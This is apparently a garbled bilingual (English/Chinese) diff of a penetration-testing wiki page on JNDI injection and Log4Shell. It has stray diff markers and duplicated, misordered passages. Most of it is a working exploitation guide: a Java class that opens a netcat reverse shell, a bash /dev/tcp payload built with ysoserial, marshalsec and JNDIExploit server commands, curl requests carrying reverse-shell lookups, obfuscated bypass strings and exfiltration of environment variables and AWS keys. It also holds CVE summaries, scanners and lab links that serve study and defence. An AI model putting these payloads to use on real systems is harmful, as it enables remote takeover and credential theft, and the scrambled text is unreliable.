### RMI Context
### RMI上下文
For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
对于RMI远程方法调用情况有所不同。与CORBA一样默认情况下限制任意类下载。要利用RMI通常需要绕过安全管理器这在CORBA中也同样适用。
### LDAP
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
首先,我们需要区分搜索和查找。\
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL从LDAP服务器查找JNDITutorial对象并**检索其属性**。\
**查找**旨在用于**命名服务**,因为我们想获取**绑定到名称的任何内容**。
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
如果LDAP搜索是通过**SearchControls.setReturningObjFlag()**调用的,并且设置为`true`,则返回的对象将被重建。
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
因此,有几种方法可以攻击这些选项。\
**攻击者可能会通过在LDAP记录中引入有效负载来污染它们**这些有效负载将在收集它们的系统中执行如果您可以访问LDAP服务器这非常有用可以**妥协数十台机器**)。另一种利用此漏洞的方法是执行**LDAP搜索中的MitM攻击**。
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
如果您可以**使应用程序解析JNDI LDAP URL**您可以控制将要搜索的LDAP并可以返回利用代码log4shell
#### Deserialization exploit
#### 反序列化利用
![](<../../images/image (275).png>)
The **exploit is serialized** and will be deserialized.\
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
**利用是序列化的**,并将被反序列化。\
如果`trustURLCodebase``true`,攻击者可以在代码库中提供自己的类;如果不是,他将需要利用类路径中的小工具。
#### JNDI Reference exploit
#### JNDI引用利用
It's easier to attack this LDAP using **JavaFactory references**:
使用**JavaFactory引用**攻击此LDAP更容易
![](<../../images/image (1059).png>)
## Log4Shell Vulnerability
## Log4Shell漏洞
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
该漏洞在Log4j中引入因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多个不同的[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应被评估。例如,`${java:version}`是当前运行的Java版本。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能允许通过JNDI检索变量。通常键会自动以`java:comp/env/`为前缀。但是,如果键本身包含**":"**,则不会应用此默认前缀。
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` theres **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
在键中存在**:**时,例如`${jndi:ldap://example.com/a}`,将**没有前缀**,并且**LDAP服务器会查询该对象**。这些查找可以在Log4j的配置中使用也可以在记录的行中使用。
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
因此获取RCE所需的唯一条件是**处理用户控制信息的Log4j脆弱版本**。由于这是一个被Java应用广泛使用的库来记录信息包括面向互联网的应用因此通常会有log4j记录例如接收到的HTTP头信息如User-Agent。然而log4j**不仅用于记录HTTP信息还用于记录开发人员指示的任何输入和数据**。
## Overview of Log4Shell-Related CVEs
## Log4Shell相关CVE概述
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[严重]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
此漏洞是`log4j-core`组件中的一个关键**不受信任的反序列化缺陷**影响版本从2.0-beta9到2.14.1。它允许**远程代码执行RCE**使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告影响多个Apache框架。版本2.15.0中的初始修复不完整。防御的Sigma规则可用[规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[严重]**
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
最初评级为低但后来升级为严重此CVE是由于2.15.0对CVE-2021-44228的修复不完整而导致的**拒绝服务DoS**缺陷。它影响非默认配置允许攻击者通过精心制作的有效负载造成DoS攻击。一条[推文](https://twitter.com/marcioalm/status/1471740771581652995)展示了一种绕过方法。该问题在版本2.16.0和2.12.2中通过删除消息查找模式和默认禁用JNDI得到解决。
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[]**
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
影响**Log4j 1.x版本**在使用`JMSAppender`的非默认配置中此CVE是一个不受信任的反序列化缺陷。1.x分支没有可用的修复已结束生命周期建议升级到`log4j-core 2.17.0`
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
此漏洞影响**Logback日志框架**这是Log4j 1.x的继任者。之前认为是安全的该框架被发现存在漏洞已发布新版本1.3.0-alpha11和1.2.9)以解决该问题。
### **CVE-2021-45105** **\[High]**
### **CVE-2021-45105** **\[]**
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0包含一个DoS缺陷促使发布`log4j 2.17.0`以修复该CVE。更多详细信息请参见BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
影响log4j版本2.17此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参见[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
## Log4Shell Exploitation
## Log4Shell利用
### Discovery
### 发现
This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
如果没有保护,此漏洞非常容易发现,因为它将向您在有效负载中指示的地址发送至少一个**DNS请求**。因此,像这样的有效负载:
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`(使用[canarytokens.com](https://canarytokens.org/generate)
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`(使用[interactsh](https://github.com/projectdiscovery/interactsh)
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}`使用Burp Suite
- `${jndi:ldap://2j4ayo.dnslog.cn}`(使用[dnslog](http://dnslog.cn)
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`(使用[huntress](https://log4shell.huntress.com)
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
请注意,**即使收到DNS请求也不意味着应用程序是可利用的**(甚至不脆弱),您需要尝试利用它。
> [!NOTE]
> Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
> 请记住,要**利用版本2.15**,您需要添加**localhost检查绕过**${jndi:ldap://**127.0.0.1#**...}
#### **Local Discovery**
Search for **local vulnerable versions** of the library with:
#### **本地发现**
搜索**本地脆弱版本**的库:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **验证**
### **Verification**
之前列出的一些平台将允许您插入一些在请求时会被记录的变量数据。\
这对于两件事非常有用:
Some of the platforms listed before will allow you to insert some variable data that will be logged when its requested.\
This can be very useful for 2 things:
- **验证**漏洞
- **利用**漏洞进行**信息外泄**
- To **verify** the vulnerability
- To **exfiltrate information** abusing the vulnerability
For example you could request something like:\
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
Other information you could try to **leak**:
例如,您可以请求类似于:\
或像 `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到的**DNS请求包含环境变量的值**,您就知道该应用程序存在漏洞。
您可以尝试**泄露**的其他信息:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -205,81 +202,69 @@ ${sys:user.name}
Any other env variable name that could store sensitive information
```
### RCE Information
### RCE 信息
> [!NOTE]
> Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
> 运行在 JDK 版本高于 6u141、7u131 或 8u121 的主机已针对 LDAP 类加载攻击向量进行了保护。这是由于默认禁用 `com.sun.jndi.ldap.object.trustURLCodebase`,这防止了 JNDI 通过 LDAP 加载远程代码库。然而,重要的是要注意,这些版本**并未保护免受反序列化攻击向量**。
>
> For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
> 对于旨在利用这些较高 JDK 版本的攻击者,必须在 Java 应用程序中利用**受信任的工具**。像 ysoserial 或 JNDIExploit 这样的工具通常用于此目的。相反,利用较低的 JDK 版本相对容易,因为这些版本可以被操纵以加载和执行任意类。
>
> For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
> **更多信息**_如 RMI 和 CORBA 向量的限制_**请查看之前的 JNDI 命名参考部分**或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
### RCE - Marshalsec with custom payload
### RCE - Marshalsec 与自定义有效负载
You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
您可以在 **THM box** 中测试此内容: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)jar 版本可在 [**这里**](https://github.com/RandomRobbieBF/marshalsec-jar) 获取)。此方法建立一个 LDAP 引用服务器,以将连接重定向到一个次级 HTTP 服务器,在该服务器上将托管漏洞利用:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
要提示目标加载反向 shell 代码,创建一个名为 `Exploit.java` 的 Java 文件,内容如下:
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
将Java文件编译成类文件使用`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动一个**HTTP服务器**,使用:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
通过发送类似的有效负载来触发易受攻击的Web服务器上利用类的执行
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
**注意:** 此漏洞依赖于Java的配置以允许通过LDAP加载远程代码库。如果这不可行请考虑利用受信任的类进行任意代码执行。
### RCE - **JNDIExploit**
> [!NOTE]
> Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
> 请注意出于某种原因作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。
>
> Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
> 此外您无法在时光机中找到源代码因此要么分析源代码要么执行jar文件知道您不知道自己在执行什么。
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
Then, you can download the **JNDIExploit** jar file and execute it with:
在此示例中您可以在8080端口运行此**易受攻击的web服务器以进行log4shell**[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)_在README中您将找到如何运行它_。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。
然后,您可以下载**JNDIExploit** jar文件并使用以下命令执行它
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
_com.feihong.ldap.LdapServer__com.feihong.ldap.HTTPServer_ 中,您可以看到如何 **创建 LDAP 和 HTTP 服务器**。LDAP 服务器将理解需要提供的有效负载,并将受害者重定向到 HTTP 服务器,后者将提供漏洞利用。\
_com.feihong.ldap.gadgets_ 中,您可以找到 **一些特定的工具**,可以用来执行所需的操作(可能执行任意代码)。在 _com.feihong.ldap.template_ 中,您可以看到不同的模板类,这些类将 **生成漏洞利用**
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
您可以使用 **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** 查看所有可用的漏洞利用。一些有用的包括:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
So, in our example, we already have that docker vulnerable app running. To attack it:
所以,在我们的例子中,我们已经有那个易受攻击的 Docker 应用程序在运行。要攻击它:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -288,16 +273,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
当发送攻击时,您将在执行 **JNDIExploit-1.2-SNAPSHOT.jar** 的终端中看到一些输出。
When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
**请记得检查 `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` 以获取其他利用选项。此外,如果需要,您可以更改 LDAP 和 HTTP 服务器的端口。**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
You can generate the URLs to send to the victim running:
与之前的利用方式类似,您可以尝试使用 [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) 来利用此漏洞。\
您可以通过运行生成要发送给受害者的 URL
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
@ -305,36 +288,30 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this wont generally work (as by default Java is not configured to load remote codebase using LDAP) I think because its not abusing a trusted class to execute arbitrary code._
_这个攻击使用自定义生成的java对象将在像**THM solar room**这样的实验室中有效。然而这通常不会有效因为默认情况下Java未配置为使用LDAP加载远程代码库我认为这是因为它没有滥用受信任的类来执行任意代码。_
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个生成**可用JNDI链接**的工具并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。\
### RCE - ysoserial & JNDI-Exploit-Kit
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
这个选项对于攻击**仅信任指定类而不是所有类的Java版本**非常有用。因此,**ysoserial**将用于生成**受信任类的序列化**,这些序列化可以作为小工具来**执行任意代码**_ysoserial滥用的受信任类必须被受害者的java程序使用以便利用能够生效_
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)您可以创建将被JNDI下载的反序列化利用
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
使用 [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) 生成 **JNDI 链接**,其中漏洞将等待来自易受攻击机器的连接。您可以提供 **不同的利用程序,这些利用程序可以由 JNDI-Exploit-Kit 自动生成**,甚至是您 **自己的反序列化有效负载**(由您或 ysoserial 生成)。
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../images/image (1118).png>)
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
现在您可以轻松使用生成的 JNDI 链接来利用该漏洞并获得 **反向 shell**,只需发送到一个易受攻击的 log4j 版本:**`${ldap://10.10.14.10:1389/generated}`**
### 绕过方法
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
@ -346,8 +323,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Automatic Scanners
### 自动扫描器
- [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
- [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -356,76 +332,72 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - 查找本地易受攻击的库
### Labs to test
### 测试实验室
- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
- [**LogForge HTB 机器**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar 房间**](https://tryhackme.com/room/solar)
- [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
- [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Post-Log4Shell Exploitation
## Post-Log4Shell 利用
In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
在这个 [**CTF 写作**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 中很好地解释了如何 **可能** **滥用** **Log4J** 的某些功能。
The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html) 有一些有趣的句子:
> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
> 从版本 2.16.0(对于 Java 8开始**消息查找功能已完全删除**。**配置中的查找仍然有效**。此外Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
> 从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,**仅在配置中的查找字符串被递归扩展**;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。
This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
这意味着默认情况下,您可以 **忘记使用任何 `jndi` 漏洞**。此外,要执行 **递归查找**,您需要进行配置。
例如,在该 CTF 中,这在文件 log4j2.xml 中进行了配置:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### 环境查找
### Env Lookups
在 [这个 CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) 中,攻击者控制了 `${sys:cmd}` 的值,并需要从环境变量中提取标志。\
如在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 中所示,有不同的方法可以访问环境变量,例如:**`${env:FLAG}`**。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
### 异常中的提取
### Exfiltration in Exceptions
In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
在 CTF 中,你 **无法访问 java 应用程序的 stderr**,但 Log4J **异常会发送到 stdout**,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在,异常将显示标志的值:
